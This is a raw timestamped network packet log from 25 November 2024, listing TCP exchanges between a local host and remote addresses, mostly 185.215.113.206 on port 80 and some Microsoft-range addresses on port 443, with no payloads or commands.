Nov 25, 2024 18:28:43.277890921 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.277925968 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.278044939 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.278748035 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.278795004 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.278950930 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.278995991 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.279638052 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.279701948 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.280217886 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.280263901 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.280592918 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.280606031 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.280633926 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.280653000 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.281450987 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.281498909 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.281843901 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.281892061 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.282491922 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.282505035 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.282537937 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.282558918 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.283302069 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.283323050 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.283344030 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.283373117 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.284156084 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.284199953 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.284486055 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.284524918 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.285152912 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.285198927 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.286022902 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.286037922 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.286051035 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.286092997 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.286870956 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.286942959 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.287642002 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.287683010 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.287885904 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.287957907 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.288103104 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.288142920 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.288780928 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.288820982 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.288872004 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.288912058 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.289575100 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.289616108 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.290244102 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.290287018 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.290488958 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.290528059 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.290766001 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.290833950 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.291641951 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.291656017 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.291693926 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.291724920 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.292268991 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.292319059 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.293164968 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.293230057 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.293256044 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.293268919 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.293291092 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.293308973 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.294076920 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.294167995 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.294198990 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.294245005 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.295007944 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.295051098 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.295444965 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.295484066 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.295896053 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.296093941 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.296823978 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.296838999 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.296853065 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.296879053 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.296920061 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.297713995 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.297861099 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.297924995 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.298674107 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.298721075 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.298723936 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.298775911 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.299521923 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.299565077 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.299721956 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.299803972 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.300638914 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.300652027 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.300693989 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.301367044 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.301419020 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.301821947 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.301865101 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.302365065 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.302413940 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.303349972 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.303361893 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.303375006 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.303392887 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.303407907 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.304167986 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.304219007 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.304311991 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.304352999 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.342828035 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.342880011 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.342900991 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.342940092 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.343138933 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.343199015 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.343202114 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.343296051 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.344108105 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.344161034 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.344460964 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.344515085 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.344892979 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.344943047 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.345016003 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.345057011 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.345398903 CET	443	49843	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:43.345541954 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.345602036 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.345685005 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.345726013 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.345927000 CET	49843	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:43.345942020 CET	443	49843	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:43.346430063 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.346451998 CET	49843	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:43.346456051 CET	443	49843	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:43.346474886 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.346741915 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.346896887 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.347382069 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.347429037 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.347460985 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.347507000 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.348217010 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.348264933 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.361494064 CET	443	49839	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.361514091 CET	443	49839	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.361572027 CET	443	49839	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.361572027 CET	49839	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.361670017 CET	49839	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.362850904 CET	49839	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.362869024 CET	443	49839	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.363296986 CET	49851	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.363396883 CET	443	49851	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.363493919 CET	49851	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.364285946 CET	49851	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.364321947 CET	443	49851	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.403177977 CET	443	49842	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:43.404665947 CET	49842	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:43.404686928 CET	443	49842	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:43.405222893 CET	49842	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:43.405230045 CET	443	49842	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:43.419871092 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.419939041 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.420139074 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.420150042 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.420162916 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.420186996 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.420208931 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.421021938 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.421068907 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.421376944 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.421454906 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.421988964 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.422074080 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.422302961 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.422348976 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.422615051 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.422667027 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.423247099 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.423304081 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.423448086 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.423501015 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.423656940 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.423701048 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.423821926 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.423934937 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.424609900 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.424736977 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.424741030 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.424889088 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.425494909 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.425542116 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.425621986 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.425667048 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.426379919 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.426431894 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.427098036 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.427145958 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.427413940 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.427469015 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.427640915 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.427817106 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.428344965 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.428388119 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.429347038 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.429395914 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.429409027 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.429409981 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.429435968 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.429456949 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.430299997 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.430428028 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.430475950 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.430983067 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.431041956 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.431272984 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.431319952 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.480671883 CET	443	49837	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.480679035 CET	443	49841	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:43.480746984 CET	443	49841	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:43.480748892 CET	443	49837	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.480801105 CET	49841	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:43.480909109 CET	443	49837	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.480959892 CET	49837	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.481031895 CET	49837	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.481151104 CET	49841	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:43.481173038 CET	443	49841	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:43.481184006 CET	49841	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:43.481189966 CET	443	49841	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:43.482326031 CET	49837	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.482326031 CET	49837	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.482337952 CET	443	49844	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:43.482346058 CET	443	49837	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.482435942 CET	49837	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.482717991 CET	49852	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.482765913 CET	443	49852	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.483057976 CET	49852	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.483386040 CET	49852	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.483402967 CET	443	49852	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.483515978 CET	49844	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:43.483536959 CET	443	49844	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:43.484575033 CET	49844	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:43.484580994 CET	443	49844	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:43.487226963 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:43.487328053 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:43.487421036 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:43.487600088 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:43.487632036 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:43.498666048 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.498692989 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.498742104 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.498771906 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.498840094 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.498923063 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.498975992 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.499015093 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.499839067 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.499890089 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.499948025 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.500647068 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.500698090 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.501034975 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.501082897 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.501547098 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.501595020 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.501627922 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.501667023 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.502481937 CET	443	49836	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.502501965 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.502513885 CET	443	49836	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.502516985 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.502569914 CET	49836	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.502569914 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.502583981 CET	443	49836	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.503083944 CET	443	49836	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.503138065 CET	49836	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.503591061 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.503645897 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.503734112 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.503787994 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.504043102 CET	49836	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.504051924 CET	443	49836	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.504061937 CET	49836	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.504153013 CET	49836	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.504287004 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.504467964 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.504494905 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.504518032 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.505158901 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.505400896 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.506187916 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.506201982 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.506213903 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.506253004 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.506288052 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.507014036 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.507098913 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.507334948 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.507483959 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.507890940 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.507951021 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.508850098 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.508866072 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.508919954 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.508933067 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.508971930 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.509119034 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.509736061 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.509752035 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.509787083 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.509819984 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.510653019 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.510746002 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.510761976 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.510799885 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.511533976 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.511850119 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.511904001 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.512407064 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.512679100 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.512728930 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.513463974 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.513475895 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.513523102 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.514224052 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.514278889 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.514739990 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.514832973 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.515187979 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.515252113 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.515420914 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.515475035 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.516047001 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.516143084 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.516159058 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.516316891 CET	49761	80	192.168.2.5	185.215.113.206
